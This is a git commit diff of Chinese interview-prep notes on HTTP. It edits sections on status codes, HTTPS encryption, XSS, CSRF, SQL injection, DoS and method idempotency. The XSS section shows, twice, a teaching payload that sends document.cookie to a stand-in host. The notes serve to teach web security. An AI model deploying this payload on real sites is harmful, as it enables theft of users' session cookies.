auto commit
This commit is contained in:
parent
2010c76622
commit
8fac4c2110
|
@ -111,6 +111,7 @@ File, InputStream OutputStream, Reader Writer, Serializable, Socket, NIO
|
||||||
|
|
||||||
分布式事务、负载均衡算法与实现、分布式锁、分布式 Session、分库分表的分布式困境与应对之策。
|
分布式事务、负载均衡算法与实现、分布式锁、分布式 Session、分库分表的分布式困境与应对之策。
|
||||||
|
|
||||||
|
|
||||||
## 工具 :hammer:
|
## 工具 :hammer:
|
||||||
|
|
||||||
> [Git](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Git.md)
|
> [Git](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Git.md)
|
||||||
|
|
|
@ -14,6 +14,7 @@
|
||||||
* [CONNECT](#connect)
|
* [CONNECT](#connect)
|
||||||
* [TRACE](#trace)
|
* [TRACE](#trace)
|
||||||
* [三、HTTP 状态码](#三http-状态码)
|
* [三、HTTP 状态码](#三http-状态码)
|
||||||
|
* [1XX 信息](#1xx-信息)
|
||||||
* [2XX 成功](#2xx-成功)
|
* [2XX 成功](#2xx-成功)
|
||||||
* [3XX 重定向](#3xx-重定向)
|
* [3XX 重定向](#3xx-重定向)
|
||||||
* [4XX 客户端错误](#4xx-客户端错误)
|
* [4XX 客户端错误](#4xx-客户端错误)
|
||||||
|
@ -195,7 +196,7 @@ CONNECT www.example.com:443 HTTP/1.1
|
||||||
| 4XX | Client Error(客户端错误状态码) | 服务器无法处理请求 |
|
| 4XX | Client Error(客户端错误状态码) | 服务器无法处理请求 |
|
||||||
| 5XX | Server Error(服务器错误状态码) | 服务器处理请求出错 |
|
| 5XX | Server Error(服务器错误状态码) | 服务器处理请求出错 |
|
||||||
|
|
||||||
### 1XX 信息
|
## 1XX 信息
|
||||||
|
|
||||||
- **100 Continue** :表明到目前为止都很正常,客户端可以继续发送请求或者忽略这个响应。
|
- **100 Continue** :表明到目前为止都很正常,客户端可以继续发送请求或者忽略这个响应。
|
||||||
|
|
||||||
|
@ -516,7 +517,7 @@ HTTP 有以下安全性问题:
|
||||||
2. 不验证通信方的身份,通信方的身份有可能遭遇伪装;
|
2. 不验证通信方的身份,通信方的身份有可能遭遇伪装;
|
||||||
3. 无法证明报文的完整性,报文有可能遭篡改。
|
3. 无法证明报文的完整性,报文有可能遭篡改。
|
||||||
|
|
||||||
HTTPs 并不是新协议,而是 HTTP 先和 SSL(Secure Sockets Layer)通信,再由 SSL 和 TCP 通信。也就是说使用了隧道进行通信。
|
HTTPs 并不是新协议,而是 HTTP 先和 SSL(Secure Sockets Layer)通信,再由 SSL 和 TCP 通信。也就是说 HTTPs 使用了隧道进行通信。
|
||||||
|
|
||||||
通过使用 SSL,HTTPs 具有了加密、认证和完整性保护。
|
通过使用 SSL,HTTPs 具有了加密、认证和完整性保护。
|
||||||
|
|
||||||
|
@ -526,21 +527,21 @@ HTTPs 并不是新协议,而是 HTTP 先和 SSL(Secure Sockets Layer)通
|
||||||
|
|
||||||
### 1. 对称密钥加密
|
### 1. 对称密钥加密
|
||||||
|
|
||||||
Symmetric-Key Encryption,加密的加密和解密使用同一密钥。
|
对称密钥加密(Symmetric-Key Encryption),加密的加密和解密使用同一密钥。
|
||||||
|
|
||||||
- 优点:运算速度快;
|
- 优点:运算速度快;
|
||||||
- 缺点:密钥容易被获取。
|
- 缺点:密钥容易被获取。
|
||||||
|
|
||||||
<div align="center"> <img src="../pics//scrypt.gif" width=""/> </div><br>
|
<div align="center"> <img src="../pics//7fffa4b8-b36d-471f-ad0c-a88ee763bb76.png" width="600"/> </div><br>
|
||||||
|
|
||||||
### 2. 公开密钥加密
|
### 2. 公开密钥加密
|
||||||
|
|
||||||
Public-Key Encryption,使用一对密钥用于加密和解密,分别为公开密钥和私有密钥。公开密钥所有人都可以获得,通信发送方获得接收方的公开密钥之后,就可以使用公开密钥进行加密,接收方收到通信内容后使用私有密钥解密。
|
公开密钥加密(Public-Key Encryption),也称为非对称密钥加密,使用一对密钥用于加密和解密,分别为公开密钥和私有密钥。公开密钥所有人都可以获得,通信发送方获得接收方的公开密钥之后,就可以使用公开密钥进行加密,接收方收到通信内容后使用私有密钥解密。
|
||||||
|
|
||||||
- 优点:更为安全;
|
- 优点:更为安全;
|
||||||
- 缺点:运算速度慢;
|
- 缺点:运算速度慢;
|
||||||
|
|
||||||
<div align="center"> <img src="../pics//pcrypt.gif" width=""/> </div><br>
|
<div align="center"> <img src="../pics//39ccb299-ee99-4dd1-b8b4-2f9ec9495cb4.png" width="600"/> </div><br>
|
||||||
|
|
||||||
### 3. HTTPs 采用的加密方式
|
### 3. HTTPs 采用的加密方式
|
||||||
|
|
||||||
|
@ -584,13 +585,13 @@ SSL 提供报文摘要功能来验证完整性。
|
||||||
|
|
||||||
例如有一个论坛网站,攻击者可以在上面发表以下内容:
|
例如有一个论坛网站,攻击者可以在上面发表以下内容:
|
||||||
|
|
||||||
```html
|
```
|
||||||
<script>location.href="//domain.com/?c=" + document.cookie</script>
|
<script>location.href="//domain.com/?c=" + document.cookie</script>
|
||||||
```
|
```
|
||||||
|
|
||||||
之后该内容可能会被渲染成以下形式:
|
之后该内容可能会被渲染成以下形式:
|
||||||
|
|
||||||
```html
|
```
|
||||||
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
|
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
|
||||||
```
|
```
|
||||||
|
|
||||||
|
@ -659,7 +660,7 @@ HTTP 头中有一个 Referer 字段,这个字段用以标明请求来源于哪
|
||||||
|
|
||||||
(二)添加校验 Token
|
(二)添加校验 Token
|
||||||
|
|
||||||
由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在 cookie 中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验 token 的值为空或者错误,拒绝这个可疑请求。
|
由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在 Cookie 中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验 Token 的值为空或者错误,拒绝这个可疑请求。
|
||||||
|
|
||||||
## SQL 注入攻击
|
## SQL 注入攻击
|
||||||
|
|
||||||
|
@ -715,9 +716,9 @@ strSQL = "SELECT * FROM users;"
|
||||||
|
|
||||||
### 1. 概念
|
### 1. 概念
|
||||||
|
|
||||||
(denial-of-service attack,DoS),亦称洪水攻击,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正常用户无法访问。
|
拒绝服务攻击(denial-of-service attack,DoS),亦称洪水攻击,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正常用户无法访问。
|
||||||
|
|
||||||
(distributed denial-of-service attack,DDoS),指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
|
分布式拒绝服务攻击(distributed denial-of-service attack,DDoS),指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
|
||||||
|
|
||||||
> [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
|
> [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
|
||||||
|
|
||||||
|
@ -725,7 +726,7 @@ strSQL = "SELECT * FROM users;"
|
||||||
|
|
||||||
## 参数
|
## 参数
|
||||||
|
|
||||||
GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在内容实体。
|
GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在内容实体中。
|
||||||
|
|
||||||
GET 的传参方式相比于 POST 安全性较差,因为 GET 传的参数在 URL 中是可见的,可能会泄露私密信息。并且 GET 只支持 ASCII 字符,如果参数为中文则可能会出现乱码,而 POST 支持标准字符集。
|
GET 的传参方式相比于 POST 安全性较差,因为 GET 传的参数在 URL 中是可见的,可能会泄露私密信息。并且 GET 只支持 ASCII 字符,如果参数为中文则可能会出现乱码,而 POST 支持标准字符集。
|
||||||
|
|
||||||
|
@ -743,7 +744,7 @@ name1=value1&name2=value2
|
||||||
|
|
||||||
安全的 HTTP 方法不会改变服务器状态,也就是说它只是可读的。
|
安全的 HTTP 方法不会改变服务器状态,也就是说它只是可读的。
|
||||||
|
|
||||||
GET 方法是安全的,而 POST 却不是。
|
GET 方法是安全的,而 POST 却不是,因为 POST 的目的是传送实体主体内容,这个内容可能是用户上传的表单数据,上传成功之后,服务器可能把这个数据存储到数据库中,因此状态也就发生了改变。
|
||||||
|
|
||||||
安全的方法除了 GET 之外还有:HEAD、OPTIONS。
|
安全的方法除了 GET 之外还有:HEAD、OPTIONS。
|
||||||
|
|
||||||
|
@ -751,9 +752,9 @@ GET 方法是安全的,而 POST 却不是。
|
||||||
|
|
||||||
## 幂等性
|
## 幂等性
|
||||||
|
|
||||||
幂等的 HTTP 方法,同样的请求被执行一次与连续执行多次的效果是一样的,服务器的状态也是一样的。换句话说就是,幂等方法不应该具有副作用(统计用途除外)。在正确实现的条件下,GET,HEAD,PUT和 DELETE 等方法都是幂等的,而 POST 方法不是。所有的安全方法也都是幂等的。
|
幂等的 HTTP 方法,同样的请求被执行一次与连续执行多次的效果是一样的,服务器的状态也是一样的。换句话说就是,幂等方法不应该具有副作用(统计用途除外)。在正确实现的条件下,GET,HEAD,PUT 和 DELETE 等方法都是幂等的,而 POST 方法不是。所有的安全方法也都是幂等的。
|
||||||
|
|
||||||
GET /pageX HTTP/1.1是幂等的。连续调用多次,客户端接收到的结果都是一样的:
|
GET /pageX HTTP/1.1 是幂等的。连续调用多次,客户端接收到的结果都是一样的:
|
||||||
|
|
||||||
```
|
```
|
||||||
GET /pageX HTTP/1.1
|
GET /pageX HTTP/1.1
|
||||||
|
@ -762,7 +763,7 @@ GET /pageX HTTP/1.1
|
||||||
GET /pageX HTTP/1.1
|
GET /pageX HTTP/1.1
|
||||||
```
|
```
|
||||||
|
|
||||||
POST /add_row HTTP/1.1不是幂等的。如果调用多次,就会增加多行记录:
|
POST /add_row HTTP/1.1 不是幂等的。如果调用多次,就会增加多行记录:
|
||||||
|
|
||||||
```
|
```
|
||||||
POST /add_row HTTP/1.1
|
POST /add_row HTTP/1.1
|
||||||
|
@ -770,7 +771,7 @@ POST /add_row HTTP/1.1 -> Adds a 2nd row
|
||||||
POST /add_row HTTP/1.1 -> Adds a 3rd row
|
POST /add_row HTTP/1.1 -> Adds a 3rd row
|
||||||
```
|
```
|
||||||
|
|
||||||
DELETE /idX/delete HTTP/1.1是幂等的,即便是不同请求之间接收到的状态码不一样:
|
DELETE /idX/delete HTTP/1.1 是幂等的,即便是不同请求之间接收到的状态码不一样:
|
||||||
|
|
||||||
```
|
```
|
||||||
DELETE /idX/delete HTTP/1.1 -> Returns 200 if idX exists
|
DELETE /idX/delete HTTP/1.1 -> Returns 200 if idX exists
|
||||||
|
@ -782,8 +783,8 @@ DELETE /idX/delete HTTP/1.1 -> Returns 404
|
||||||
|
|
||||||
如果要对响应进行缓存,需要满足以下条件:
|
如果要对响应进行缓存,需要满足以下条件:
|
||||||
|
|
||||||
1. 请求报文的 HTTP 方法本身是可缓存的,包括 GET 和 HEAD,PUT 和 DELETE 不可缓存,POST 在多数情况下不可缓存的。
|
1. 请求报文的 HTTP 方法本身是可缓存的,包括 GET 和 HEAD,但是 PUT 和 DELETE 不可缓存,POST 在多数情况下不可缓存的。
|
||||||
2. 响应报文的 状态码是可缓存的,包括: 200, 203, 204, 206, 300, 301, 404, 405, 410, 414, and 501。
|
2. 响应报文的状态码是可缓存的,包括:200, 203, 204, 206, 300, 301, 404, 405, 410, 414, and 501。
|
||||||
3. 响应报文的 Cache-Control 首部字段没有指定不进行缓存。
|
3. 响应报文的 Cache-Control 首部字段没有指定不进行缓存。
|
||||||
|
|
||||||
## XMLHttpRequest
|
## XMLHttpRequest
|
||||||
|
@ -798,12 +799,12 @@ DELETE /idX/delete HTTP/1.1 -> Returns 404
|
||||||
|
|
||||||
## HTTP/1.0 与 HTTP/1.1 的区别
|
## HTTP/1.0 与 HTTP/1.1 的区别
|
||||||
|
|
||||||
1. 持久连接
|
1. HTTP/1.1 默认是持久连接
|
||||||
2. 管线化处理
|
2. HTTP/1.1 支持管线化处理
|
||||||
3. 虚拟主机
|
3. HTTP/1.1 支持虚拟主机
|
||||||
4. 状态码 100
|
4. HTTP/1.1 新增状态码 100
|
||||||
5. 分块传输编码
|
5. HTTP/1.1 只是分块传输编码
|
||||||
6. 缓存处理字段
|
6. HTTP/1.1 新增缓存处理指令 max-age
|
||||||
|
|
||||||
具体内容见上文
|
具体内容见上文
|
||||||
|
|
||||||
|
@ -846,3 +847,4 @@ HTTP/1.1 的解析是基于文本的,而 HTTP/2.0 采用二进制格式。
|
||||||
- [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn)
|
- [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn)
|
||||||
- [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest)
|
- [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest)
|
||||||
- [XMLHttpRequest (XHR) Uses Multiple Packets for HTTP POST?](https://blog.josephscott.org/2009/08/27/xmlhttprequest-xhr-uses-multiple-packets-for-http-post/)
|
- [XMLHttpRequest (XHR) Uses Multiple Packets for HTTP POST?](https://blog.josephscott.org/2009/08/27/xmlhttprequest-xhr-uses-multiple-packets-for-http-post/)
|
||||||
|
- [Symmetric vs. Asymmetric Encryption – What are differences?](https://www.ssl2buy.com/wiki/symmetric-vs-asymmetric-encryption-what-are-differences)
|
||||||
|
|
BIN
pics/39ccb299-ee99-4dd1-b8b4-2f9ec9495cb4.png
Normal file
BIN
pics/39ccb299-ee99-4dd1-b8b4-2f9ec9495cb4.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 39 KiB |
BIN
pics/7fffa4b8-b36d-471f-ad0c-a88ee763bb76.png
Normal file
BIN
pics/7fffa4b8-b36d-471f-ad0c-a88ee763bb76.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 36 KiB |
Loading…
Reference in New Issue
Block a user